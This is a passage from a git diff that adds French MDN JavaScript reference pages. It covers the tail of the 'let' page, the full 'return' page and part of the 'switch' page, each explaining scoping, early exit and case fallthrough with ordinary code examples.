+<p>L'origine du nom <code>let</code> est décrite <a href="https://stackoverflow.com/questions/37916940/why-was-the-name-let-chosen-for-block-scoped-variable-declarations-in-javascri">dans cette réponse (en anglais)</a>.</p>
+
+<h3 id="Les_portées_de_bloc_avec_let">Les portées de bloc avec <code>let</code></h3>
+
+<p>Le mot-clé <code>let</code> permet de définir des variables au sein d'un bloc et des blocs qu'il contient. <code>var</code> permet quant à lui de définir une variable dont la portée est celle de la fonction englobante.</p>
+
+<pre class="brush:js">if (x &gt; y) {
+  let gamma = 12.7 + y;
+  i = gamma * x;
+}
+
+function varTest() {
+  var x = 1;
+  if (true) {
+    var x = 2;  // c'est la même variable !
+    console.log(x);  // 2
+  }
+  console.log(x);  // 2
+}
+
+function letTest() {
+  let x = 1;
+  if (true) {
+    let x = 2;  // c'est une variable différente
+    console.log(x);  // 2
+  }
+  console.log(x);  // 1
+}
+</pre>
+
+<h3 id="Une_meilleure_lisibilité_pour_les_fonctions_internes">Une meilleure lisibilité pour les fonctions internes</h3>
+
+<p><code>let</code> peut parfois permettre de rendre le code plus lisible lorsqu'on utilise des fonctions internes.</p>
+
+<pre class="brush:js">var list = document.getElementById("list");
+
+for (let i = 1; i &lt;= 5; i++) {
+  var item = document.createElement("li");
+  item.appendChild(document.createTextNode("Élément " + i));
+
+  item.onclick = function (ev) {
+    console.log("Clic sur l'élément " + i + ".");
+  };
+  list.appendChild(item);
+}
+
+// Pour obtenir le même effet avec var
+// il aurait fallu créer un contexte différent
+// avec une fermeture (closure) pour la valeur
+
+for (var i = 1; i &lt;= 5; i++) {
+  var item = document.createElement("li");
+  item.appendChild(document.createTextNode("Item " + i));
+
+  (function(i) {
+    item.onclick = function(ev) {
+      console.log("Item " + i + " a reçu un clic.");
+    };
+  })(i);
+  list.appendChild(item);
+}
+</pre>
+
+<p>Dans l'exemple précédent, cela fonctionne comme on l'attend car les cinq instances de la fonction anonyme sont liées à cinq instances différentes de <code>i</code>. Si on remplace <code>let</code> par {{jsxref("Instructions/var","var")}}, on n'obtiendra pas l'effet escompté car on aura une même variable pour cette portée <code>i=6</code> (au lieu de 5 différentes).</p>
+
+<h4 id="Règles_de_portées">Règles de portées</h4>
+
+<p>Les variables déclarées avec <code>let</code> appartiennent à la portée du bloc dans lequel elles sont définies et indirectement aux portées des blocs de ce bloc. D'une certaine façon <code>let</code> fonctionne comme <code>var</code>, la seule différence dans cette analogie est que <code>let</code> fonctionne avec les portées de bloc et <code>var</code> avec les portées des fonctions :</p>
+
+<pre class="brush:js">function varTest() {
+  var x = 31;
+  if (true) {
+    var x = 71;  // c'est la même variable !
+    console.log(x);  // 71
+  }
+  console.log(x);  // 71
+}
+
+function letTest() {
+  let x = 31;
+  if (true) {
+    let x = 71;  // c'est une variable différente
+    console.log(x);  // 71
+  }
+  console.log(x);  // 31
+}
+</pre>
+
+<p>Au niveau le plus haut (la portée globale), <code>let</code> crée une variable globale alors que <code>var</code> ajoute une propriété à l'objet global :</p>
+
+<pre class="brush:js">var x = 'global';
+let y = 'global2';
+console.log(this.x); // "global"
+console.log(this.y); // undefined
+console.log(y);      // "global2"
+</pre>
+
+<h3 id="Émuler_le_fonctionnement_des_interfaces_privées">Émuler le fonctionnement des interfaces privées</h3>
+
+<p>En utilisant l'instruction <code>let</code> avec <a href="/fr/docs/Glossaire/Constructeur">des constructeurs</a>, on peut créer des <em>interfaces privées</em> sans avoir à utiliser <a href="/fr/docs/Web/JavaScript/Closures">de fermetures</a> :</p>
+
+<pre class="brush: js">var Truc;
+
+{
+  let porteePrivee = new WeakMap();
+  let compteur = 0;
+
+  Truc = function() {
+    this.unePropriete = 'toto';
+
+    porteePrivee.set(this, {
+      cachee: ++compteur,
+    });
+  };
+
+  Truc.prototype.montrerPublique = function() {
+    return this.unePropriete;
+  };
+
+  Truc.prototype.montrerPrivee = function() {
+    return porteePrivee.get(this).cachee;
+  };
+}
+
+console.log(typeof porteePrivee);
+// "undefined"
+
+var truc = new Truc();
+
+console.log(truc);
+// Truc {unePropriete: "toto"}
+
+truc.montrerPublique();
+// "toto"
+
+truc.montrerPrivee();
+// 1
+</pre>
+
+<p>Cette technique permet d'obtenir un état privé « statique ». Ainsi, dans l'exemple qui précède, toutes les instances de <code>Truc</code> partageront la même <code>portéePrivée</code>.<br>
+ Il était possible d'obtenir un tel isolement avec <code>var</code> mais il fallait passer par des fonctions isolées (généralement des fonctions immédiatement appelées (<em>IIFE</em>)).</p>
+
+<h3 id="Zone_morte_temporaire_(Temporal_Dead_Zone_TDZ)_et_les_erreurs_liées_à_let">Zone morte temporaire (<em>Temporal Dead Zone</em> / TDZ)  et les erreurs liées à <code>let</code></h3>
+
+<p>Lorsqu'on redéclare une même variable au sein d'une même portée de bloc, cela entraîne une exception {{jsxref("SyntaxError")}}.</p>
+
+<pre class="brush: js example-bad">if (x) {
+  let toto;
+  let toto; // SyntaxError
+}</pre>
+
+<p>Avec ECMAScript 2015 (ES6), <code>let</code><strong> remontera</strong> (<em>hoisting</em>) la déclaration variable au début de la portée (au début du bloc) mais pas l'initialisation. Si on fait référence à une variable dans un bloc avant la déclaration de celle-ci avec <code>let</code>, cela entraînera une exception {{jsxref("ReferenceError")}}. En effet, la variable est placée dans une « zone morte temporaire » entre le début du bloc et le moment où la déclaration est traitée. Autrement dit, la déclaration est bien remontée mais la variable ne peut pas être utilisée tant que l'affectation (qui n'est pas remontée) n'a pas été effectuée.</p>
+
+<pre class="brush: js example-bad">function faire_quelque_chose() {
+  console.log(truc); // undefined
+  console.log(toto); // ReferenceError
+  let toto = 2;
+  var truc = 1;
+}</pre>
+
+<p>Il est possible d'obtenir des erreurs au sein de l'instruction {{jsxref("Instructions/switch")}}. En effet, il y a un seul bloc implicite pour cette instruction.</p>
+
+<pre class="brush: js example-bad">switch (x) {
+  case 0:
+    let toto;
+    break;
+
+  case 1:
+    let toto; // SyntaxError for redeclaration.
+    break;
+}</pre>
+
+<p>Par contre, si on ajoute une instruction de bloc dans la clause <code>case</code>, cela créera une nouvelle portée et empêchera l'erreur :</p>
+
+<pre class="brush: js">let x = 1;
+
+switch(x) {
+  case 0: {
+    let toto;
+    break;
+  }
+  case 1: {
+    let toto;
+    break;
+  }
+}</pre>
+
+<h3 id="Autres_situations">Autres situations</h3>
+
+<p>Lorsqu'on utilise <code>let</code> dans un bloc, sa portée est limitée à celle du bloc. On notera ici la différence avec <code>var</code> dont la portée est celle de la fonction où il est utilisé.</p>
+
+<pre class="brush: js">var a = 1;
+var b = 2;
+
+if (a === 1) {
+  var a = 11; // la portée est la portée globale
+  let b = 22; // la portée est celle du bloc if
+
+  console.log(a);  // 11
+  console.log(b);  // 22
+}
+
+console.log(a); // 11
+console.log(b); // 2
+</pre>
+
+<p>Cependant, la combinaison utilisée ci-après déclenchera une exception <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/SyntaxError">SyntaxError</a></code> car la déclaration avec <code>var</code> est remontée en haut du bloc et il y a donc une redéclaration implicite de la variable (également utilisée avec <code>let</code>).</p>
+
+<pre class="brush: js example-bad">let x = 1;
+
+if (true) {
+  var x = 2; // SyntaxError liée à la redéclaration
+}
+</pre>
+
+<h3 id="La_zone_morte_temporaire_et_typeof">La zone morte temporaire et <code>typeof</code></h3>
+
+<p>Si on utilise <code>typeof</code> sur des variables non déclarées ou qui valent {{jsxref("undefined")}}, on obtiendra la valeur <code>undefined</code>. Mais si on utilise <code>typeof</code> sur une variable au sein de la zone morte temporaire de cette variable, cela déclenchera une {{jsxref("ReferenceError")}} :</p>
+
+<pre class="brush: js">console.log(typeof variableNonDeclaree); // affiche 'undefined'
+
+console.log(typeof i); // ReferenceError
+let i = 10;</pre>
+
+<h3 id="Autre_exemple_lié_à_la_zone_morte_temporaire_et_aux_portées_lexicales">Autre exemple lié à la zone morte temporaire et aux portées lexicales</h3>
+
+<p>Dans l'exemple qui suit, dans l'expression <code>toto + 55</code>, l'identifiant <code>toto</code> fait référence à la variable du bloc courant et non à celle qui est déclarée au dessus et qui a la valeur 33. Dans l'instruction <code>let toto = (toto + 55);</code> l'instruction est bien remontée mais l'endroit où on utilise <code>toto</code> (dans le fragment <code>(toto + 55</code>)) est toujours dans la zone morte temporaire car <code>toto</code> n'a pas encore été affecté.</p>
+
+<pre class="brush: js example-bad">function test(){
+  var toto = 33;
+  if (true) {
+    let toto = (toto + 55); // ReferenceError: can't access lexical declaration `toto` before initialization
+  }
+}
+test();
+</pre>
+
+<p>Si on utilise <code>let</code> avec un nom de variable qui est le même que celui de l'argument passé à la fonction, on aura une erreur due à la confusion des portées :</p>
+
+<pre class="brush: js example-bad">function go(n) {
+  for (let n of n.a){ // ReferenceError: can't access lexical declaration `n' before initialization
+    console.log(n);
+  }
+}
+go({a:[1, 2, 3]});
+</pre>
+
+<h3 id="Les_variables_déclarées_avec_let_et_les_boucles_for">Les variables déclarées avec <code>let</code> et les boucles <code>for</code></h3>
+
+<p>Le mot-clé <code>let</code> permet de lier des variables localement dans la portée des boucles for. Contrairement au mot-clé var qui lui rend les variables visibles depuis l'ensemble de la fonction qui contient la boucle.</p>
+
+<pre class="brush:js">var a = 0;
+for ( let i = a; i &lt; 10; i++ ) {
+  console.log(i);
+}
+</pre>
+
+<h4 id="Règles_de_portées_2">Règles de portées</h4>
+
+<pre class="eval">for (let <var>expr1</var>; <var>expr2</var>; <var>expr3</var>) instruction</pre>
+
+<p>Dans cet exemple, <code><var>expr2</var></code>, <code><var>expr3</var></code>, et <code>instruction</code> sont contenues dans un bloc implicite qui contient la variable de bloc local déclarée avec <code>let <var>expr1</var></code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="let_var"><code>let</code> / <code>var</code></h3>
+
+<p>Lorsqu'il est utilisé dans un bloc, <code>let</code> permet de limiter la portée de la variable à ce bloc. <em>var </em>quant à lui limite la portée de la variable à la fonction.</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+
+if (a === 5) {
+  let a = 4; // La portée est celle du bloc if
+  var b = 1; // La portée est celle interne à la fonction
+
+  console.log(a);  // 4
+  console.log(b);  // 1
+}
+
+console.log(a); // 5
+console.log(b); // 1</pre>
+
+<h3 id="let_utilisé_dans_les_boucles"><code>let</code> utilisé dans les boucles</h3>
+
+<p>Le mot-clé let permet de lier des variables à la portée de la boucle plutôt qu'à celle de la fonction (avec <code>var</code>) :</p>
+
+<pre class="brush: js">for (let i = 0; i&lt;10; i++) {
+  console.log(i); // 0, 1, 2, 3, 4 ... 9
+}
+
+console.log(i); // i n'est pas défini</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale. Cette définition n'inclue pas les expressions et blocs <code>let</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-let-and-const-declarations', 'Let and Const Declarations')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.let")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/var","var")}}</li>
+ <li>{{jsxref("Instructions/const","const")}}</li>
+ <li><a href="https://tech.mozfr.org/post/2015/08/06/ES6-en-details-%3A-let-et-const">ES6 en détails : <code>let</code> et <code>const</code></a></li>
+ <li><a href="https://blog.mozilla.org/addons/2015/10/14/breaking-changes-let-const-firefox-nightly-44/">Changements liés à <code>let</code> et <code>const</code> dans Firefox 44 (en anglais)</a></li>
+ <li><a href="https://github.com/getify/You-Dont-Know-JS/blob/master/scope%20%26%20closures/ch3.md">Le chapitre de <em>You Don't Know JS</em> sur la portée des fonctions et des blocs</a> (en anglais)</li>
+ <li><a href="https://stackoverflow.com/a/33198850/1125029">StackOverflow : qu'est-ce que la zone morte temporaire ?</a></li>
+ <li><a href="https://stackoverflow.com/questions/762011/whats-the-difference-between-using-let-and-var-to-declare-a-variable">StackOverflow : quelle est la différence entre <code>let</code> et <code>var</code> ?</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/return/index.html b/files/fr/web/javascript/reference/instructions/return/index.html
new file mode 100644
index 0000000000..1972130104
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/return/index.html
@@ -0,0 +1,169 @@
+---
+title: return
+slug: Web/JavaScript/Reference/Instructions/return
+tags:
+  - JavaScript
+  - Reference
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/return
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>return</code> </strong>met fin à l'exécution d'une fonction et définit une valeur à renvoyer à la fonction appelante.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-return.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">return [[expression]]; </pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>L'expression dont on souhaite renvoyer la valeur. Si elle est absente, la valeur renvoyée par défaut sera {{jsxref("undefined")}}.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Lorsqu'une instruction <code>return</code> est utilisée dans une fonction, l'exécution de la fonction se termine. Si une valeur est fournie, elle sera renvoyée à l'appelant de la fonction. Si l'expression définissant la valeur de retour de la fonction est absente, la valeur <code>undefined</code> sera renvoyée. Par exemple, voici une fonction qui renvoie le carré de son argument <code>x</code> (où <code>x</code> est un nombre) :</p>
+
+<pre class="brush: js">function carre(x) {
+  return x * x;
+}
+var demo = carre(3);
+// demo vaudra alors 9
+</pre>
+
+<p>Les instructions qui suivent causeront chacune l'arrêt de l'exécution d'une fonction :</p>
+
+<pre class="brush: js">return;
+return true;
+return false;
+return x;
+return x + y / 3;
+</pre>
+
+<h3 id="Ajout_automatique_de_point-virgule">Ajout automatique de point-virgule</h3>
+
+<p>L'instruction <code>return</code> peut être impactée par <a href="/fr/docs/Web/JavaScript/Reference/Grammaire_lexicale#Insertion_automatique_de_points-virgules">l'ajout automatique de point-virgule (<em>ASI</em> en anglais)</a>. Il est interdit d'avoir un caractère de fin de ligne entre le mot-clé <code>return</code> et l'expression :</p>
+
+<pre class="brush: js">return
+a + b;
+
+</pre>
+
+<p>Après ASI, cela sera transformé en :</p>
+
+<pre class="brush: js">return;
+a + b;
+// Avertissement console : "expression non accessible
+// après une instruction return sans point-virgule"
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> À partir de Gecko 40 {{geckoRelease(40)}}, un avertissement sera affiché dans la console si l'analyse du code trouve une instruction semblable à une expression après une instruction <code>return</code> sans point-virgule. Voir le {{bug(1005110)}} pour plus d'informations.</p>
+</div>
+
+<p>Pour éviter ce problème et l'insertion automatique, on peut, si besoin, utiliser des parenthèses.</p>
+
+<pre class="brush: js">return (
+  a + b;
+);</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_return">Utiliser <code>return</code></h3>
+
+<p>La fonction suivante renvoie le carré de son argument :</p>
+
+<pre class="brush: js">function carré(x) {
+   return x * x;
+}
+</pre>
+
+<h3 id="Interrompre_une_fonction">Interrompre une fonction</h3>
+
+<p>Une fonction s'arrête immédiatement à l'instant où l'instruction <code>return</code> est traitée.</p>
+
+<pre class="brush: js">function compteur() {
+  for (var compte = 1; ; compte++) {  // boucle infinie
+    console.log(compte + "A"); // jusqu'à 5
+      if (compte === 5) {
+        return;
+      }
+      console.log(compte + "B");  // jusqu'à 4
+    }
+  console.log(compte + "C");  // cette instruction n'est jamais utilisée
+}
+
+compteur();
+
+// Résultat dans la console :
+// 1A
+// 1B
+// 2A
+// 2B
+// 3A
+// 3B
+// 4A
+// 4B
+// 5A
+</pre>
+
+<h3 id="Renvoyer_une_fonction">Renvoyer une fonction</h3>
+
+<p>Pour en savoir plus sur les fermetures (<em>closures</em>), voir <a href="/fr/docs/Web/JavaScript/Closures">cet article sur les fermetures</a>.</p>
+
+<pre class="brush: js">function magique() {
+  return function calc(x) { return x * 42 };
+}
+
+var réponse = magique();
+réponse(1337); // 56154
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.9', 'Return statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-return-statement', 'Return statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-return-statement', 'Return statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.statements.return")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Fonctions","Les fonctions","",1)}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Closures">Les fermetures (closures)</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/instructions/switch/index.html b/files/fr/web/javascript/reference/instructions/switch/index.html
new file mode 100644
index 0000000000..d3fcc130fa
--- /dev/null
+++ b/files/fr/web/javascript/reference/instructions/switch/index.html
@@ -0,0 +1,317 @@
+---
+title: switch
+slug: Web/JavaScript/Reference/Instructions/switch
+tags:
+  - Instruction
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>L'instruction <strong><code>switch</code></strong> évalue une expression et, selon le résultat obtenu et le cas associé, exécute les instructions correspondantes.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-switch.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">switch (expression) {
+  case valeur1:
+    // Instructions à exécuter lorsque le résultat
+    // de l'expression correspond à valeur1
+    instructions1;
+    [break;]
+  case valeur2:
+    // Instructions à exécuter lorsque le résultat
+    // de l'expression correspond à valeur2
+    instructions 2;
+    [break;]
+  ...
+  case valeurN:
+    // Instructions à exécuter lorsque le résultat
+    // de l'expression à valeurN
+    instructionsN;
+    [break;]
+  [default:
+    // Instructions à exécuter lorsqu'aucune des valeurs
+    // ne correspond
+    instructions_def;
+    [break;]]
+}</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>Une expression à comparer avec chacune des clause <code>case</code>.</dd>
+ <dt><code>case expressionN </code> {{optional_inline}}</dt>
+ <dd>Une clause qu'on compare avec <code>expression</code>.</dd>
+ <dt><code>default </code>{{optional_inline}}</dt>
+ <dd>Une clause exécutée si aucune correspondance n'est trouvée avec les clause <code>case</code> (et/ou s'il n'y a pas de <code>break</code> pour les clauses <code>case</code> précédentes).</dd>
+ <dt><code>instructionsN</code></dt>
+ <dd>Les instructions à exécuter lorsque l'<code>expression</code> correspond au cas présenté pour cette clause.</dd>
+ <dt><code>instructions_def</code></dt>
+ <dd>Les instructions à exécuter si l'<code>expression</code> ne correspond à aucun cas de figure précédemment décrit.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Une instruction <code>switch</code> commence par évaluer l'expression fournie (cette évaluation ne se produit qu'une fois). Si une correspondance est trouvée, le programme exécutera les instructions associées. Si plusieurs cas de figure correspondent, le premier sera sélectionné (même si les cas sont différents les uns des autres).</p>
+
+<p>Le programme recherche tout d'abord une clause <code>case</code> dont l'expression est évaluée avec la même valeur que l'expression d'entrée (au sens de {{jsxref("Opérateurs/Opérateurs_de_comparaison","l'égalité stricte","#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)",1)}}. Si une telle clause est trouvée, les instructions associées sont exécutées. Si aucune clause <code>case</code> n'est trouvée, le programme recherche la clause optionnelle <code>default</code> et si elle existe, les instructions correspondantes sont exécutées. Si cette clause optionnelle n'est pas utilisée, le programme continue son exécution après l'instruction <code>switch</code>. Par convention, la clause <code>default</code> est utilisée en dernière mais cela n'est pas nécessaire.</p>
+
+<p>L'instruction {{jsxref("Instructions/break","break")}} peut optionnellement être utilisée pour chaque cas et permet de s'assurer que seules les instructions associées à ce cas seront exécutées. Si <code>break</code> n'est pas utilisé, le programme continuera son exécution avec les instructions suivantes (des autres cas de l'instruction <code>switch</code>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_switch">Utiliser <code>switch</code></h3>
+
+<p>Dans l'exemple suivant, si l'expression <code>expr</code> vaut "Bananes", le programme trouve la correspondance et exécute l'instruction associée. Lorsque l'instruction <code>break</code> est trouvée, le programme « sort » de l'instruction <code>switch</code> et continue l'exécution avec les instructions  suivantes. Si <code>break</code> n'avait pas été utilisé, l'instruction du cas "Cerises" aurait également été exécutée.</p>
+
+<pre class="brush: js">switch (expr) {
+  case "Oranges":
+    console.log("Oranges : 0.59 € le kilo.");
+    break;
+  case "Pommes":
+    console.log("Pommes : 0.32 € le kilo.");
+    break;
+  case "Bananes":
+    console.log("Bananes : 0.48 € le kilo.");
+    break;
+  case "Cerises":
+    console.log("Cerises : 3.00 € le kilo.");
+    break;
+  case "Mangues":
+  case "Papayes":
+    console.log("Mangues et papayes : 2.79 € le kilo.");
+    break;
+  default:
+    console.log("Désolé, nous n'avons plus de " + expr + ".");
+}
+
+console.log("Autre chose ?");
+</pre>
+
+<h3 id="Que_se_passe-t-il_si_on_oublie_un_break">Que se passe-t-il si on oublie un <code>break</code> ?</h3>
+
+<p>Si on omet une instruction <code>break</code>, le script exécutera les instructions pour le cas correspondant et aussi celles pour les cas suivants jusqu'à la fin de l'instruction <code>switch</code> ou jusqu'à une instruction <code>break</code>. Par exemple :</p>
+
+<pre class="brush: js">var toto = 0;
+switch (toto) {
+    case -1:
+        console.log('moins un');
+        break;
+    case 0: // toto vaut 0 donc ce cas correspond
+        console.log(0);
+        // NOTE : le break aurait du être placé ici
+    case 1: // pas de break pour 'case 0:' les instructions de ce cas sont
+            // exécutées aussi
+        console.log(1);
+        break; // on a un break a ce niveau donc les instructions
+               // des cas suivants ne seront pas exécutées
+    case 2:
+        console.log(2);
+        break;
+    default:
+        console.log('default');
+}</pre>
+
+<h3 id="Peut-on_intercaler_la_règle_par_défaut">Peut-on intercaler la règle par défaut ?</h3>
+
+<p>Oui, il est possible de placer le cas <code>default</code> entre deux autres cas. Ainsi, si on a une valeur qui ne correspond pas aux différents cas, elle passera par le bloc <code>default</code> puis par les autres s'il n'y a pas de <code>break</code>. Par exemple :</p>
+
+<pre class="brush: js">var toto = 5
+switch (toto) {
+  case 2:
+    console.log(2); // ne sera pas exécuté
+    break;
+  default:
+    console.log("default"); // sera exécuté
+  case 1:
+    console.log("1"); // sera exécuté car il n'y a
+                      // pas de break avant
+}
+// La console affichera "default" puis "1"
+</pre>
+
+<h3 id="Méthodes_pour_regrouper_différents_cas">Méthodes pour regrouper différents cas</h3>
+
+<p>Pour la source depuis laquelle les exemples suivants ont été adaptés, voir <a href="https://stackoverflow.com/questions/13207927/switch-statement-multiple-cases-in-javascript">cette question Stack Overflow</a>.</p>
+
+<h4 id="Regrouper_différents_cas_pour_exécuter_une_unique_opération">Regrouper différents cas pour exécuter une unique opération</h4>
+
+<p>Cette méthode utilise le fait que s'il n'y a pas d'instruction {{jsxref("Instructions/break","break")}}, l'exécution se poursuivra avec les instructions des cas suivants (même si les expressions de ces cas ne correspondent pas à la valeur de l'expression d'entrée).</p>
+
+<p>On peut donc regrouper différentes valeurs les unes à la suite des autres pour exécuter des instructions pour ces valeurs :</p>
+
+<pre class="brush: js">var animal = 'girafe';
+switch (animal) {
+    case 'vache':
+    case 'girafe':
+    case 'chien':
+    case 'cochon':
+        console.log('Cet animal est un mammifère');
+        break;
+    case 'oiseau':
+    default:
+        console.log('Cet animal n\'est pas un mammifère.');
+}</pre>
+
+<h4 id="Chaîner_des_opérations">Chaîner des opérations</h4>
+
+<p>Dans l'exemple qui suit, on illustre comment exécuter une série d'instructions qui varie en fonction du paramètre (ici un entier) fourni. Cela montre que les différents cas sont testés dans l'ordre dans lequel ils sont mis au sein du <code>switch</code> :</p>
+
+<pre class="brush: js">var toto = 1;
+var output = 'Résultat : ';
+switch (toto) {
+    case 0:
+        output += 'Donc ';
+    case 1:
+        output += 'quel ';
+        output += 'est ';
+    case 2:
+        output += 'votre ';
+    case 3:
+        output += 'nom ';
+    case 4:
+        output += '?';
+        console.log(output);
+        break;
+    case 5:
+        output += '!';
+        console.log(output);
+        break;
+    default:
+        console.log('Veuillez choisir un nombre entre 0 et 5 !');
+}</pre>
+
+<p>Selon les valeurs fournies à la variable <code>toto</code>, on aura les résultats suivants :</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Valeur</th>
+   <th scope="col">Texte</th>
+  </tr>
+  <tr>
+   <td>toto vaut {{jsxref("NaN")}} ou est différent de 1, 2, 3, 4, 5 ou 0</td>
+   <td>Veuillez choisir un nombre entre 0 et 5 !</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>Résultat : Donc quel est votre nom ?</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>Résultat : quel est votre nom ?</td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td>Résultat : votre nom ?</td>
+  </tr>
+  <tr>
+   <td>3</td>
+   <td>Résultat : nom ?</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td>Résultat : ?</td>
+  </tr>
+  <tr>
+   <td>5</td>
+   <td>Résultat : !</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="switch_et_les_variables_avec_une_portée_de_bloc"><code>switch</code> et les variables avec une portée de bloc</h3>
+
+<p>Avec ECMAScript 2015 (ES6), on peut utiliser les instructions <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code> et <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code> pour déclarer des variables dont la portée sera celle du bloc englobant.</p>
+
+<p>Prenons cet exemple :</p>
+
+<pre class="brush: js">const action = 'dire_bonjour';
+switch (action) {
+  case 'dire_bonjour':
+    let message = 'bonjour';
+    console.log(message);
+    break;
+  case 'dire_coucou':
+    let message = 'coucou';
+    console.log(message);
+    break;
+  default:
+    console.log('Aucune action reçue.');
+    break;
+}</pre>
+
+<p>Si on exécute cet exemple, on aura l'erreur <code>Uncaught SyntaxError: Identifier 'message' has already been declared</code> qui n'est probablement pas le résultat espéré.</p>
+
+<p>Cela se produit car la première instruction <code>let message = 'bonjour';</code> entre en conflit avec <code>let message = 'coucou';</code> bien qu'elles soient rattachées à deux instructions <code>case</code> distinctes <code>case 'dire_bonjour':</code> et <code>case 'dire_coucou':</code> mais ces deux instructions s'inscrivent dans le même bloc et on a donc <code>message</code> déclaré deux fois dans le même bloc, soit deux fois dans la même portée.</p>
+
+<p>Pour régler ce problème, il suffit de rajouter des accolades pour définir un bloc d'instructions pour chaque <code>case</code> :</p>
+
+<pre class="brush: js">const action = 'dire_bonjour';
+switch (action) {
+  case 'dire_bonjour': <strong>{ // accolade ajoutée</strong>
+    let message = 'bonjour';
+    console.log(message);
+    break;
+  <strong>} // accolade ajoutée</strong>
+  case 'dire_coucou': <strong>{ // accolade ajoutée</strong>
+    let message = 'coucou';
+    console.log(message);
+    break;
+  <strong>} // accolade ajoutée</strong>
+  default: <strong>{ // accolade ajoutée</strong>
+    console.log('Aucune action reçue.');
+    break;
+  <strong>} // accolade ajoutée</strong>
+}</pre>
+
+<p>Cette nouvelle version, exécutée, produira <code>"bonjour"</code> dans la console, sans causer d'erreur.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.11', 'instruction switch')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
